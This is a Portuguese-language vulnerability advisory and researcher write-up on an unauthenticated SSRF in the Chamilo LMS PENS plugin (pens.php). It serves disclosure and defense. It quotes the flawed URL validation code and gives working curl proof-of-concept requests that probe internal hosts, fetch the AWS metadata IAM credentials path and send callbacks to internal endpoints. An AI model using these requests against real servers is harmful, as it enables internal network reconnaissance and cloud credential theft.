
SSRF não autenticado no Chamilo LMS via plugin PENS (pens.php) — CVSS 7.5
Gravidade: Alta (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Afetado: chamilo/chamilo-lms 2.x (commit af6b7002 e anteriores)
Advisory: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
O endpoint do plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php é acessível sem autenticação e aceita URLs controladas pelo usuário tanto para download de pacotes quanto para notificações de callback. As funções de validação de URL verificam o esquema e a presença do host, mas não realizam filtragem de IP privado, permitindo SSRF não autenticado em redes internas e serviços de metadados em nuvem.
Depois de encontrar a CVE-2026-33715 no install.ajax.php do Chamilo, continuei auditando o código-fonte em busca de outros endpoints não autenticados com efeitos no lado da rede. O plugin PENS (public/plugin/Pens/) se destacou: PENS é um protocolo legado de entrega de conteúdo e-learning que envolve buscar pacotes de URLs externas e enviar callbacks para servidores externos — ambas superfícies clássicas de SSRF.
Li o PensProcessor.php procurando a lógica de validação de URL. isAllowedDownloadUrl() e isAllowedCallbackUrl() verificam o esquema (http/https) e host não vazio — e param por aí. Sem filtragem RFC 1918, sem verificação de loopback, sem verificação de link-local. O comentário até diz "returns true" após a verificação do host, o que deixou óbvio que isso foi escrito sem pensar em SSRF.
O que distingue isso da CVE anterior do Chamilo: há dois vetores de SSRF independentes — um para a busca do pacote (o servidor baixa um arquivo de uma URL controlada pelo atacante) e outro para os callbacks (o servidor faz POST para endpoints controlados pelo atacante). O vetor de callback é particularmente útil para exfiltrar respostas de serviços internos, já que o servidor fará POST dos dados de status do PENS para qualquer URL que você especificar, e você controla o parsing da resposta.
Em implantações em nuvem, o endpoint de metadados 169.254.169.254 é acessível por ambos os vetores.
Arquivo: public/plugin/Pens/lib/PensProcessor.php
Dois vetores distintos de SSRF:
Vetor 1 — Busca de URL de pacote (linhas 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← sem verificação de IP privado
}
// Depois buscado com curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vetor 2 — SSRF de callback (linha 318): Os parâmetros receipt e alerts especificam URLs para onde o servidor envia callbacks POST — mesma validação ausente.
isAllowedDownloadUrl() e isAllowedCallbackUrl() apenas validam que a URL tem esquema http/https e host não vazio. Faixas privadas RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — metadados de nuvem) e equivalentes IPv6 são todas aceitas.
# Vetor 1: Sondar rede interna via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# Endpoint de metadados AWS
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vetor 2: SSRF de callback — servidor faz POST para endpoint interno controlado pelo atacante
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Nota: isso é distinto da CVE-2022-27426 (SSRF nas ferramentas sociais/links) — caminho de código diferente, plugin diferente, não autenticado.